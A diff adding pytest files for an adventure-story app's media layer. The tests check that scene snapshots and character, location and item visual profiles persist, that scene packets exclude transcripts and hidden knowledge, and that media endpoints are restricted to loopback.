||||
def test_a_profile_survives_redo_and_a_save_point_restore(client):
|
||||
"""The other two history operations, for the profile rather than the scene.
|
||||
|
||||
Divergence is covered above and is the interesting case; Redo and a Save
|
||||
Point restore are covered here because K02 claims stability across all of
|
||||
them, and a claim in a report should have a test under it rather than an
|
||||
argument. Both move the head, and a profile that moved with it would be the
|
||||
per-position storage M10 deliberately did not build.
|
||||
"""
|
||||
m10_fixture.play(client, client.adv_id, "set up", [
|
||||
m10_fixture.entity("mara", "character", "Mara"),
|
||||
m10_fixture.entity("hall", "location", "The hall"),
|
||||
])
|
||||
profile = {"descriptors": {"hair": "dark auburn"}, "features": ["a scar"],
|
||||
"style_notes": "candlelight"}
|
||||
client.put(f"/api/adventures/{client.adv_id}/visual-profiles/mara",
|
||||
json=profile)
|
||||
point = client.post(f"/api/adventures/{client.adv_id}/checkpoints",
|
||||
json={"name": "Before the hall", "note": ""})
|
||||
assert point.status_code == 201, point.text[:300]
|
||||
|
||||
m10_fixture.play(client, client.adv_id, "into the hall", [
|
||||
{"type": "set_scene", "summary": "Mara stands in the hall.",
|
||||
"location": "hall", "present": ["mara"]}])
|
||||
expected = {"descriptors": {"hair": "dark auburn"}, "features": ["a scar"],
|
||||
"style_notes": "candlelight"}
|
||||
assert packet_of(client)["characters"][0]["visual_profile"] == expected
|
||||
|
||||
assert client.post(f"/api/adventures/{client.adv_id}/undo").status_code == 200
|
||||
assert client.post(f"/api/adventures/{client.adv_id}/redo").status_code == 200
|
||||
assert packet_of(client)["characters"][0]["visual_profile"] == expected
|
||||
|
||||
restored = client.post(
|
||||
f"/api/adventures/{client.adv_id}/checkpoints/{point.json()['id']}/restore")
|
||||
assert restored.status_code == 200, restored.text[:300]
|
||||
# The scene is gone — it was set after the Save Point — and the profile is
|
||||
# not, which is exactly the difference between story state and presentation
|
||||
# metadata.
|
||||
assert packet_of(client)["characters"] == []
|
||||
assert client.get(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/mara"
|
||||
).json()["descriptors"] == {"hair": "dark auburn"}
|
||||
|
||||
|
||||
def test_nothing_relies_on_a_mutable_active_flag(client):
|
||||
"""§4's last clause, checked structurally rather than by behaviour.
|
||||
|
||||
The scene follows the head because it *is* the state at the head. If a
|
||||
future change introduced a scene table with its own `active` column, this
|
||||
would be the test that noticed.
|
||||
"""
|
||||
assert not hasattr(models, "Scene")
|
||||
columns = {c.name for c in models.VisualProfile.__table__.columns}
|
||||
assert "active" not in columns
|
||||
assert "branch_id" not in columns
|
||||
assert "depth" not in columns
|
||||
|
||||
|
||||
# ------------------------------------------------- a genuine process restart
|
||||
|
||||
@pytest.fixture()
|
||||
def spawned():
|
||||
"""A real server process against a real database file, twice.
|
||||
|
||||
`test_process_restart.py` owns the harness; M10 reuses it because "survives
|
||||
a restart" is a claim about bytes on disk, and a same-process fixture cannot
|
||||
tell durable state from a live object.
|
||||
"""
|
||||
directory = tempfile.mkdtemp(prefix="m10-restart-")
|
||||
db_path = os.path.join(directory, "campaign.db")
|
||||
started: list[Server] = []
|
||||
|
||||
def start() -> Server:
|
||||
server = Server(db_path, _free_port())
|
||||
started.append(server)
|
||||
server.wait_until_ready()
|
||||
return server
|
||||
|
||||
try:
|
||||
yield start, db_path
|
||||
finally:
|
||||
for server in started:
|
||||
server.stop()
|
||||
shutil.rmtree(directory, ignore_errors=True)
|
||||
|
||||
|
||||
def test_scene_and_profile_survive_a_genuine_process_restart(spawned):
|
||||
"""K01/K02/K03's durability clause, across a real PID boundary.
|
||||
|
||||
The spawned server narrates with a deterministic provider that emits no
|
||||
state events, so the scene and the entities are established through the
|
||||
ordinary correction endpoint — which is a real, validated write path, not a
|
||||
fixture reaching into the ORM.
|
||||
"""
|
||||
start, db_path = spawned
|
||||
first = start()
|
||||
campaign = first.call("POST", "/adventures", {
|
||||
"title": "Restarted", "opening": "The office is quiet.",
|
||||
}, expect=201)
|
||||
adv = campaign["id"]
|
||||
|
||||
first.call("POST", f"/adventures/{adv}/state/corrections", {
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "alice",
|
||||
"entity_type": "character", "name": "Alice"},
|
||||
{"type": "create_entity", "entity": "office",
|
||||
"entity_type": "location", "name": "The office"},
|
||||
{"type": "set_scene", "summary": "Alice waits in the office.",
|
||||
"location": "office", "present": ["alice"]},
|
||||
],
|
||||
"note": "setting the scene",
|
||||
}, expect=201)
|
||||
|
||||
first.call("PUT", f"/adventures/{adv}/visual-profiles/alice",
|
||||
{"descriptors": {"hair": "short black"},
|
||||
"features": ["tortoiseshell glasses"]}, expect=200)
|
||||
|
||||
before_scene = first.call("GET", f"/adventures/{adv}/state",
|
||||
expect=200)["document"]["scene"]
|
||||
before_packet = first.call("GET", f"/adventures/{adv}/scene-packet", expect=200)
|
||||
first.stop()
|
||||
assert not first.is_listening()
|
||||
|
||||
second = start()
|
||||
after_scene = second.call("GET", f"/adventures/{adv}/state",
|
||||
expect=200)["document"]["scene"]
|
||||
after_packet = second.call("GET", f"/adventures/{adv}/scene-packet", expect=200)
|
||||
after_profile = second.call(
|
||||
"GET", f"/adventures/{adv}/visual-profiles/alice", expect=200)
|
||||
|
||||
assert after_scene == before_scene
|
||||
assert after_scene["summary"] == "Alice waits in the office."
|
||||
assert after_packet == before_packet
|
||||
assert after_profile["descriptors"] == {"hair": "short black"}
|
||||
assert after_packet["characters"][0]["visual_profile"]["features"] == [
|
||||
"tortoiseshell glasses"
|
||||
]
|
||||
|
||||
|
||||
def test_the_restarted_database_holds_the_profile_row(spawned):
|
||||
"""Read out of the file itself, so "persisted" is not taken on trust."""
|
||||
start, db_path = spawned
|
||||
server = start()
|
||||
campaign = server.call("POST", "/adventures",
|
||||
{"title": "Rows", "opening": "Start."}, expect=201)
|
||||
adv = campaign["id"]
|
||||
server.call("POST", f"/adventures/{adv}/state/corrections", {
|
||||
"events": [{"type": "create_entity", "entity": "ship",
|
||||
"entity_type": "vehicle", "name": "The Persephone"}],
|
||||
"note": "",
|
||||
}, expect=201)
|
||||
server.call("PUT", f"/adventures/{adv}/visual-profiles/ship",
|
||||
{"descriptors": {"hull": "pitted white composite"}}, expect=200)
|
||||
server.stop()
|
||||
|
||||
connection = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
|
||||
try:
|
||||
row = connection.execute(
|
||||
"SELECT entity_key, descriptors FROM visual_profiles "
|
||||
"WHERE adventure_id = ?", (adv,)
|
||||
).fetchone()
|
||||
finally:
|
||||
connection.close()
|
||||
assert row is not None
|
||||
assert row[0] == "ship"
|
||||
assert json.loads(row[1]) == {"hull": "pitted white composite"}
|
||||
@@ -0,0 +1,568 @@
|
||||
"""M10: the media seam — K01-K04, the packet, the profiles, the contracts.
|
||||
|
||||
Lineage behaviour has its own file (`test_m10_lineage.py`), as does the
|
||||
authority separation (`test_m10_authority.py`) and the no-media claim
|
||||
(`test_m10_no_media.py`), because those three are the claims a reviewer will
|
||||
want to find whole rather than scattered.
|
||||
|
||||
python -m pytest tests/test_m10_media_hooks.py -v
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.media import packet as scene_packet
|
||||
from app.media import profiles as visual_profiles
|
||||
from app.media import providers
|
||||
from app.routers import adventures
|
||||
|
||||
import m10_fixture
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
|
||||
class StubDerived:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "A memory."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.5, 0.25] for _ in texts]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m10@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(user_id=user.id, title="The Office")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start",
|
||||
text="Bill badges in on a Tuesday morning.",
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: StubDerived())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: StubDerived())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def office(client):
|
||||
return m10_fixture.build(client, client.adv_id)
|
||||
|
||||
|
||||
def packet_of(client, adv_id=None, **params):
|
||||
response = client.get(
|
||||
f"/api/adventures/{adv_id or client.adv_id}/scene-packet", params=params
|
||||
)
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
return response.json()
|
||||
|
||||
|
||||
def state_of(client, adv_id=None):
|
||||
return client.get(
|
||||
f"/api/adventures/{adv_id or client.adv_id}/state"
|
||||
).json()["document"]
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- K01
|
||||
|
||||
def test_k01_a_structured_scene_is_persisted_for_a_multi_character_scene(
|
||||
client, office
|
||||
):
|
||||
"""K01. A scene with several characters and a clear location, **persisted**.
|
||||
|
||||
The acceptance text forbids satisfying this with an ephemeral dictionary
|
||||
built inside a test, so the assertion is made against what a *second*
|
||||
session reads out of the database — not against a value this test computed.
|
||||
"""
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
stored = adventure.narrative_state["scene"]
|
||||
|
||||
assert stored["summary"] == "Bill, Alice and Roger meet around the table."
|
||||
assert stored["location"] == "office"
|
||||
assert sorted(stored["present"]) == ["alice", "bill", "roger"]
|
||||
# The coordinate is what makes it a scene *snapshot* rather than a note: it
|
||||
# says which accepted position this describes.
|
||||
assert stored["at"]["branch_id"] is not None
|
||||
assert isinstance(stored["at"]["depth"], int)
|
||||
|
||||
|
||||
def test_k01_the_persisted_scene_is_sufficient_to_depict(client, office):
|
||||
"""Sufficiency, checked as "could something draw this?" rather than "is it non-empty?"."""
|
||||
p = packet_of(client)
|
||||
assert p["location"]["name"] == "The office"
|
||||
assert [c["name"] for c in p["characters"]] == ["Bill", "Alice", "Roger"]
|
||||
assert p["action_summary"] == "Bill, Alice and Roger meet around the table."
|
||||
assert p["objects"] and p["objects"][0]["name"] == "Security badge"
|
||||
assert p["scene_id"]
|
||||
|
||||
|
||||
def test_the_scene_snapshot_is_per_position_and_survives_a_restart(client, office):
|
||||
"""Persisted in the ordinary sense: a new session reads the same thing.
|
||||
|
||||
A genuine process restart is exercised in `test_m10_lineage.py`; this is the
|
||||
cheaper claim that the value is on disk rather than in a live object.
|
||||
"""
|
||||
with SessionLocal() as first:
|
||||
before = first.get(models.Adventure, client.adv_id).narrative_state["scene"]
|
||||
with SessionLocal() as second:
|
||||
after = second.get(models.Adventure, client.adv_id).narrative_state["scene"]
|
||||
assert before == after
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- K02/K03
|
||||
|
||||
def test_k02_a_character_keeps_stable_visual_descriptors(client, office):
|
||||
row = client.get(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alice"
|
||||
).json()
|
||||
assert row["descriptors"]["hair"] == "short black"
|
||||
assert row["features"] == ["tortoiseshell glasses"]
|
||||
assert row["style_notes"] == "photographic, natural light"
|
||||
|
||||
|
||||
def test_k03_a_location_keeps_stable_visual_descriptors(client, office):
|
||||
row = client.get(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/office"
|
||||
).json()
|
||||
assert row["descriptors"]["architecture"] == "open-plan floor"
|
||||
assert row["features"] == ["whiteboard covered in diagrams"]
|
||||
|
||||
|
||||
def test_profiles_survive_more_turns(client, office):
|
||||
"""K02/K03 across turns: playing on does not disturb a profile."""
|
||||
for i in range(3):
|
||||
m10_fixture.play(client, client.adv_id, f"talk {i}", [])
|
||||
row = client.get(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alice"
|
||||
).json()
|
||||
assert row["descriptors"]["hair"] == "short black"
|
||||
|
||||
|
||||
def test_an_item_may_have_a_profile_too(client, office):
|
||||
"""§5's optional third kind, and proof the one table holds all three.
|
||||
|
||||
There is no `kind` column: a character, a location and an item are all
|
||||
entities in the M5 model, and the profile attaches to the entity key.
|
||||
"""
|
||||
response = client.put(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/badge",
|
||||
json={"descriptors": {"material": "white plastic"},
|
||||
"features": ["photo in the corner"]},
|
||||
)
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
assert packet_of(client)["objects"][0]["visual_profile"]["descriptors"] == {
|
||||
"material": "white plastic"
|
||||
}
|
||||
|
||||
|
||||
def test_no_profile_is_distinguishable_from_an_empty_one(client, office):
|
||||
"""A future provider must be able to tell "unstated" from "stated as nothing"."""
|
||||
p = packet_of(client)
|
||||
by_name = {c["name"]: c for c in p["characters"]}
|
||||
assert by_name["Roger"]["visual_profile"] is None
|
||||
assert by_name["Alice"]["visual_profile"] is not None
|
||||
|
||||
client.put(f"/api/adventures/{client.adv_id}/visual-profiles/roger", json={})
|
||||
again = {c["name"]: c for c in packet_of(client)["characters"]}
|
||||
assert again["Roger"]["visual_profile"] == {
|
||||
"descriptors": {}, "features": [], "style_notes": ""
|
||||
}
|
||||
|
||||
|
||||
def test_a_profile_must_name_an_entity_the_campaign_has(client, office):
|
||||
"""A typo is an error, not a row describing nobody."""
|
||||
response = client.put(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alicce",
|
||||
json={"descriptors": {"hair": "short black"}},
|
||||
)
|
||||
assert response.status_code == 400
|
||||
assert "no entity called" in response.json()["detail"]
|
||||
|
||||
|
||||
def test_a_profile_replaces_rather_than_merges(client, office):
|
||||
"""So a descriptor can be removed, which a merge would make impossible."""
|
||||
client.put(f"/api/adventures/{client.adv_id}/visual-profiles/alice",
|
||||
json={"descriptors": {"hair": "short black"}})
|
||||
row = client.get(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alice"
|
||||
).json()
|
||||
assert row["descriptors"] == {"hair": "short black"}
|
||||
assert row["features"] == []
|
||||
|
||||
|
||||
def test_deleting_a_profile_leaves_the_entity_alone(client, office):
|
||||
"""A profile is a description. Removing it removes a description."""
|
||||
assert client.delete(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alice"
|
||||
).status_code == 204
|
||||
assert "alice" in state_of(client)["entities"]
|
||||
assert {c["name"] for c in packet_of(client)["characters"]} == {
|
||||
"Bill", "Alice", "Roger"
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("bad", [
|
||||
{"descriptors": {"hair": ["short", "black"]}},
|
||||
{"descriptors": "short black hair"},
|
||||
{"features": "glasses"},
|
||||
{"style_notes": {"note": "photographic"}},
|
||||
{"descriptors": {"hair": "x" * 5_000}},
|
||||
])
|
||||
def test_a_malformed_profile_is_refused(client, office, bad):
|
||||
response = client.put(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alice", json=bad
|
||||
)
|
||||
assert response.status_code == 400, response.text[:200]
|
||||
|
||||
|
||||
# --------------------------------------------------------- scene identity
|
||||
|
||||
def test_scene_identity_resolves_back_to_a_position(client, office):
|
||||
"""§3. A future asset holding this string can find the accepted scene again."""
|
||||
p = packet_of(client)
|
||||
resolved = scene_packet.parse_scene_id(p["scene_id"])
|
||||
assert resolved["adventure_id"] == client.adv_id
|
||||
assert resolved["branch_id"] == p["turn_range"]["branch_id"]
|
||||
assert resolved["start"] == p["turn_range"]["start"]
|
||||
assert resolved["end"] == p["turn_range"]["end"]
|
||||
|
||||
|
||||
def test_a_scene_may_span_several_turns(client, office):
|
||||
"""§3: one turn is not assumed to be one scene, which a video needs."""
|
||||
p = packet_of(client, start=0, end=4)
|
||||
assert p["turn_range"]["start"] == 0
|
||||
assert p["turn_range"]["end"] == 4
|
||||
assert p["scene_id"].endswith(":0-4")
|
||||
assert scene_packet.parse_scene_id(p["scene_id"])["end"] == 4
|
||||
|
||||
|
||||
def test_a_reversed_range_is_read_in_order(client, office):
|
||||
assert packet_of(client, start=4, end=0)["turn_range"] == \
|
||||
packet_of(client, start=0, end=4)["turn_range"]
|
||||
|
||||
|
||||
def test_several_assets_may_name_one_scene(client, office):
|
||||
"""§3: nothing allocates or records a scene, so nothing bounds how many
|
||||
future assets refer to it. Two builds of the same scene agree exactly."""
|
||||
assert packet_of(client)["scene_id"] == packet_of(client)["scene_id"]
|
||||
|
||||
|
||||
# ------------------------------------------------------- the packet's bounds
|
||||
|
||||
def test_the_packet_does_not_carry_the_transcript(client, office):
|
||||
"""§12. A provider gets the scene, not the campaign."""
|
||||
for i in range(4):
|
||||
m10_fixture.play(client, client.adv_id, f"say something memorable {i}", [],
|
||||
prose=f"Roger tells a long story about the printer {i}.")
|
||||
blob = repr(packet_of(client))
|
||||
assert "printer" not in blob
|
||||
assert "Bill badges in on a Tuesday morning" not in blob
|
||||
|
||||
|
||||
def test_the_packet_carries_no_imported_knowledge_at_all(client, office):
|
||||
"""Not just secrets: imported material as a class stays out.
|
||||
|
||||
A positive control comes with it — the source really was imported and really
|
||||
does reach the narrator — so this cannot pass because the upload failed.
|
||||
"""
|
||||
m10_fixture.upload_handbook(client, client.adv_id)
|
||||
m10_fixture.play(client, client.adv_id, "ask about the north wall panelling", [])
|
||||
|
||||
report = client.get(f"/api/adventures/{client.adv_id}/context").json()
|
||||
assert any("handbook" in r["filename"] for r in report["knowledge"]["used"]), (
|
||||
"the control failed: the narrator never saw the handbook, so this "
|
||||
"proves nothing about the packet"
|
||||
)
|
||||
assert "refurbished" not in repr(packet_of(client))
|
||||
|
||||
|
||||
def test_the_packet_is_bounded_when_the_state_is_large(client, office):
|
||||
"""A scene with many entities does not produce an unbounded packet.
|
||||
|
||||
Thirty extras rather than more, because `set_scene`'s `present` is itself
|
||||
capped at `validate.MAX_LABELS` (40) — asking for more gets the *event*
|
||||
refused and leaves the previous scene standing, which would make this test
|
||||
pass by measuring the wrong scene. The precondition is asserted first for
|
||||
exactly that reason.
|
||||
"""
|
||||
extras = [f"extra_{i}" for i in range(30)]
|
||||
m10_fixture.play(client, client.adv_id, "the whole floor arrives",
|
||||
[m10_fixture.entity(k, "character", f"Extra {k[-2:]}")
|
||||
for k in extras])
|
||||
m10_fixture.play(client, client.adv_id, "everyone crowds in", [
|
||||
{"type": "set_scene", "summary": "The whole floor crowds in.",
|
||||
"location": "office",
|
||||
"present": ["bill", "alice", "roger"] + extras},
|
||||
])
|
||||
present = state_of(client)["scene"]["present"]
|
||||
assert len(present) == 33, (
|
||||
f"the scene was not set as this test intends ({len(present)} present), "
|
||||
f"so the bound below would be measuring the wrong scene"
|
||||
)
|
||||
p = packet_of(client)
|
||||
assert len(p["characters"]) == scene_packet.MAX_CHARACTERS
|
||||
assert len(p["continuity_constraints"]) <= scene_packet.MAX_CONSTRAINTS
|
||||
|
||||
|
||||
# ------------------------------------------------------- provider contracts
|
||||
|
||||
def test_no_provider_is_registered(client):
|
||||
"""v1 ships none, and nothing registers one at import."""
|
||||
assert providers.registered() == {}
|
||||
for kind in providers.MEDIA_KINDS:
|
||||
assert providers.for_kind(kind) == []
|
||||
|
||||
|
||||
def test_a_provider_can_be_added_without_touching_story_code(client, office):
|
||||
"""M10's Definition of Done, as an executable claim.
|
||||
|
||||
A provider is registered, asked to depict the current scene, and returns —
|
||||
and nothing in the story engine was modified, imported or subclassed to make
|
||||
that work. The adapter satisfies a `Protocol`, so it did not even have to
|
||||
import the base class.
|
||||
"""
|
||||
seen = {}
|
||||
|
||||
class FakeImageProvider:
|
||||
def capabilities(self):
|
||||
return providers.ProviderCapabilities(
|
||||
provider_id="fake-local", kinds=(providers.IMAGE,),
|
||||
)
|
||||
|
||||
async def generate(self, request):
|
||||
seen["scene_id"] = request.scene["scene_id"]
|
||||
return providers.MediaResult(
|
||||
kind=providers.IMAGE, media_type="image/png",
|
||||
data=b"\x89PNG\r\n\x1a\n",
|
||||
provenance={"scene_id": request.scene["scene_id"]},
|
||||
)
|
||||
|
||||
provider = FakeImageProvider()
|
||||
assert isinstance(provider, providers.MediaProvider)
|
||||
providers.register("fake-local", provider)
|
||||
try:
|
||||
assert providers.for_kind(providers.IMAGE) == [provider]
|
||||
import asyncio
|
||||
|
||||
p = packet_of(client)
|
||||
result = asyncio.run(provider.generate(
|
||||
providers.MediaRequest(kind=providers.IMAGE, scene=p)
|
||||
))
|
||||
assert result.media_type == "image/png"
|
||||
assert result.provenance["scene_id"] == p["scene_id"]
|
||||
assert seen["scene_id"] == p["scene_id"]
|
||||
finally:
|
||||
providers.unregister("fake-local")
|
||||
assert providers.registered() == {}
|
||||
|
||||
|
||||
def test_every_required_media_kind_is_accommodated(client):
|
||||
assert set(providers.MEDIA_KINDS) == {"image", "video", "audio", "tts", "stt"}
|
||||
|
||||
|
||||
def test_a_request_for_an_unknown_kind_is_refused(client, office):
|
||||
with pytest.raises(ValueError, match="hologram"):
|
||||
providers.MediaRequest(kind="hologram", scene=packet_of(client))
|
||||
|
||||
|
||||
def test_stt_returns_a_draft_and_not_a_result(client):
|
||||
"""§10, and the reason the return type differs.
|
||||
|
||||
A transcription cannot be handed to something expecting a finished artefact,
|
||||
because it is not one — it is text the reader is going to edit.
|
||||
"""
|
||||
class FakeStt:
|
||||
def capabilities(self):
|
||||
return providers.ProviderCapabilities(
|
||||
provider_id="fake-stt", kinds=(providers.STT,))
|
||||
|
||||
async def transcribe(self, audio, hints=None):
|
||||
return providers.DraftTranscription(text="i open teh door")
|
||||
|
||||
import asyncio
|
||||
|
||||
stt = FakeStt()
|
||||
assert isinstance(stt, providers.TranscriptionProvider)
|
||||
draft = asyncio.run(stt.transcribe(b"\x00\x01"))
|
||||
assert isinstance(draft, providers.DraftTranscription)
|
||||
assert not isinstance(draft, providers.MediaResult)
|
||||
assert draft.editable is True
|
||||
|
||||
|
||||
def test_an_stt_draft_has_no_route_into_the_story(client, office):
|
||||
"""The corrected text enters the way anything the reader types does.
|
||||
|
||||
Asserted by playing the edited draft through the ordinary action endpoint
|
||||
and observing that it is an ordinary turn — validated, refereed, snapshotted
|
||||
— rather than by asserting that some bypass does not exist.
|
||||
"""
|
||||
draft = providers.DraftTranscription(text="i open teh door")
|
||||
corrected = draft.text.replace("teh", "the")
|
||||
|
||||
before = len(client.get(f"/api/adventures/{client.adv_id}").json()["actions"])
|
||||
m10_fixture.play(client, client.adv_id, corrected, [])
|
||||
after = client.get(f"/api/adventures/{client.adv_id}").json()["actions"]
|
||||
assert len(after) == before + 2
|
||||
assert after[-2]["text"].endswith("i open the door.")
|
||||
|
||||
|
||||
def test_the_story_engine_holds_no_provider_vocabulary(client):
|
||||
"""§9. Provider syntax must not appear in Story Engine code.
|
||||
|
||||
Greps rather than trusting the boundary, so a future adapter's vocabulary
|
||||
cannot leak in unnoticed.
|
||||
|
||||
**`app/media/` is excluded, and the exclusion is the point rather than a
|
||||
hole.** §9's rule is about the *Story Engine*; `media/` is the seam, and its
|
||||
docstrings name ComfyUI, Whisper and `num_inference_steps` precisely in
|
||||
order to say that those belong to a future adapter and not here. A grep that
|
||||
failed on the sentence forbidding a thing would push the explanation out of
|
||||
the code, which is the opposite of what the rule wants.
|
||||
|
||||
What would catch a violation inside `media/` is not this test but the shape
|
||||
of the package: it registers no provider (`test_no_provider_is_registered`),
|
||||
ships no adapter, and imports nothing that could reach one.
|
||||
"""
|
||||
import pathlib
|
||||
|
||||
root = pathlib.Path(__file__).resolve().parent.parent / "app"
|
||||
seam = root / "media"
|
||||
forbidden = ("comfyui", "stable diffusion", "stable-diffusion", "automatic1111",
|
||||
"num_inference_steps", "cfg_scale", "denoising_strength",
|
||||
"safetensors", "whisper", "kokoro", "flux.1")
|
||||
offenders = []
|
||||
for path in root.rglob("*.py"):
|
||||
if seam in path.parents:
|
||||
continue
|
||||
lowered = path.read_text().lower()
|
||||
for word in forbidden:
|
||||
if word in lowered:
|
||||
offenders.append(f"{path.relative_to(root)}: {word}")
|
||||
assert offenders == [], offenders
|
||||
|
||||
|
||||
def test_the_seam_ships_no_adapter(client):
|
||||
"""The other half of the rule above, for `app/media/` itself.
|
||||
|
||||
The seam is allowed to *name* a provider in prose; it is not allowed to
|
||||
*be* one. Checked by what it does rather than by what it says: no provider
|
||||
registered, and no HTTP client imported anywhere in the package.
|
||||
"""
|
||||
import pathlib
|
||||
|
||||
assert providers.registered() == {}
|
||||
seam = pathlib.Path(__file__).resolve().parent.parent / "app" / "media"
|
||||
for path in seam.rglob("*.py"):
|
||||
body = path.read_text()
|
||||
for client_lib in ("import httpx", "import requests", "urllib.request",
|
||||
"import socket", "subprocess"):
|
||||
assert client_lib not in body, f"{path.name} imports {client_lib}"
|
||||
|
||||
|
||||
# ------------------------------------------------------------ endpoint policy
|
||||
|
||||
def test_a_media_endpoint_must_be_loopback(client):
|
||||
"""§11 and contract §27-28: stricter than the narrator's policy, on purpose."""
|
||||
assert providers.endpoint_rejection_reason("http://127.0.0.1:8188") is None
|
||||
assert providers.endpoint_rejection_reason("http://localhost:8188") is None
|
||||
|
||||
|
||||
def test_a_trusted_lan_media_endpoint_is_refused(client):
|
||||
"""Allowed for narrator inference; not for media, which has no v1 use."""
|
||||
reason = providers.endpoint_rejection_reason("http://192.168.1.50:8188")
|
||||
assert reason is not None
|
||||
assert "on this machine" in reason
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url", [
|
||||
"https://api.example.com/v1",
|
||||
"http://8.8.8.8:8188",
|
||||
"",
|
||||
"not a url",
|
||||
])
|
||||
def test_a_non_local_media_endpoint_is_refused(client, url):
|
||||
assert providers.endpoint_rejection_reason(url) is not None
|
||||
|
||||
|
||||
def test_check_endpoint_raises_for_a_refused_endpoint(client):
|
||||
with pytest.raises(providers.EndpointRejected):
|
||||
providers.check_endpoint("https://api.example.com/v1")
|
||||
providers.check_endpoint("http://127.0.0.1:8188")
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- K04
|
||||
|
||||
def test_k04_the_extension_point_a_future_asset_would_attach_through(client, office):
|
||||
"""K04, on the acceptance text's **deferred** branch — see the M10 report §F.
|
||||
|
||||
No media tables exist, so this demonstrates the equivalent extension point
|
||||
rather than a stored asset: a dummy local byte fixture is carried through
|
||||
the provider contract, and the association it needs is proved to resolve.
|
||||
|
||||
What is actually asserted is the part that would matter to a real asset:
|
||||
the provenance it carries names a scene, that name resolves to an accepted
|
||||
position, and the story is untouched either side.
|
||||
"""
|
||||
p = packet_of(client)
|
||||
before_state = state_of(client)
|
||||
before_actions = client.get(f"/api/adventures/{client.adv_id}").json()["actions"]
|
||||
|
||||
dummy = providers.MediaResult(
|
||||
kind=providers.IMAGE,
|
||||
media_type="image/png",
|
||||
data=b"\x89PNG\r\n\x1a\n\x00fixture",
|
||||
provenance={"scene_id": p["scene_id"],
|
||||
"turn_range": p["turn_range"],
|
||||
"campaign_id": p["campaign"]["id"]},
|
||||
)
|
||||
|
||||
resolved = scene_packet.parse_scene_id(dummy.provenance["scene_id"])
|
||||
assert resolved["adventure_id"] == client.adv_id
|
||||
assert resolved["branch_id"] == p["turn_range"]["branch_id"]
|
||||
|
||||
# The position it names is a real accepted turn in this campaign.
|
||||
with SessionLocal() as db:
|
||||
found = db.query(models.Action).filter(
|
||||
models.Action.adventure_id == client.adv_id,
|
||||
models.Action.branch_id == resolved["branch_id"],
|
||||
models.Action.depth == resolved["end"],
|
||||
).count()
|
||||
assert found >= 1
|
||||
|
||||
# And nothing about the story moved.
|
||||
assert state_of(client) == before_state
|
||||
assert client.get(f"/api/adventures/{client.adv_id}").json()["actions"] == \
|
||||
before_actions
|
||||
@@ -0,0 +1,341 @@
|
||||
"""M10 §8, §19 and §20: the storyteller does not know the media layer is there.
|
||||
|
||||
Three claims, and the first is the milestone's central acceptance condition:
|
||||
|
||||
* **§20 — ordinary play is unchanged** with no media configuration of any kind.
|
||||
Not "works with a warning", not "works once you dismiss something": unchanged.
|
||||
* **§19 — nothing is contacted**, nothing is required at startup, and no
|
||||
provider setting exists to be got wrong.
|
||||
* **§8 — the hidden-information boundary.** A future provider must not receive
|
||||
narrator-only material merely because the storyteller knows it.
|
||||
|
||||
The §8 tests use a **hidden M7 knowledge source**, which is this product's real
|
||||
narrator-only mechanism, rather than an invented marker — so what is tested is
|
||||
the boundary that exists. Each carries a **positive control**: the sentinel is
|
||||
shown to reach the narrator's own prompt in the same campaign, so a passing test
|
||||
cannot be one where the secret was never established.
|
||||
|
||||
python -m pytest tests/test_m10_no_media.py -v
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
